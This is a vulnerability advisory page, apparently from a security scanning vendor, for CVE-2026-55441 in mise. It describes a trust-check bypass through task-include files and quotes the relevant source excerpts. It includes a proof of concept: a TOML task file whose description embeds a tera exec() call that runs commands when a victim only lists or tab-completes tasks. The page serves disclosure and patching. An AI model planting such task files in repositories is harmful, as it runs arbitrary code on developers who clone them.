Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀
🦀 crates.io
Not in CISA KEV
HIGH severity

CVE-2026-55441 — mise

HIGH

CVE-2026-55441 is a high-severity (CVSS 8.6) OS Command Injection vulnerability in mise. A fix is available for mise — see the affected versions and patch details below.

mise: Arbitrary command execution via task-include files in an untrusted, config-less repository

Also known asGHSA-77g9-363w-rccq
Published
Jun 26, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55441.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-55441 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🦀mise

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

  • src/config/config_file/mise_toml.rs:276 — MiseToml::from_str → trust_check(path)?
  • src/config/config_file/tool_versions.rs:62 — .tool-versions parser → trust_check(&path)?
  • src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() { … })
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);
    for p in paths {
        let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
        …
    }
}

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ;        // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … }  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux 

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iomiseall versions2026.6.4cargo update -p mise --precise 2026.6.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mise to 2026.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55441 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary mise's trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has `exec()` registered. A `{{ exec(command='…') }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands
O3 Security · Impact-Aware SCA

Is CVE-2026-55441 in your dependencies?

Find it across crates.io, including transitive dependencies.

CVE-2026-55441: mise (High 8.6) | O3 Security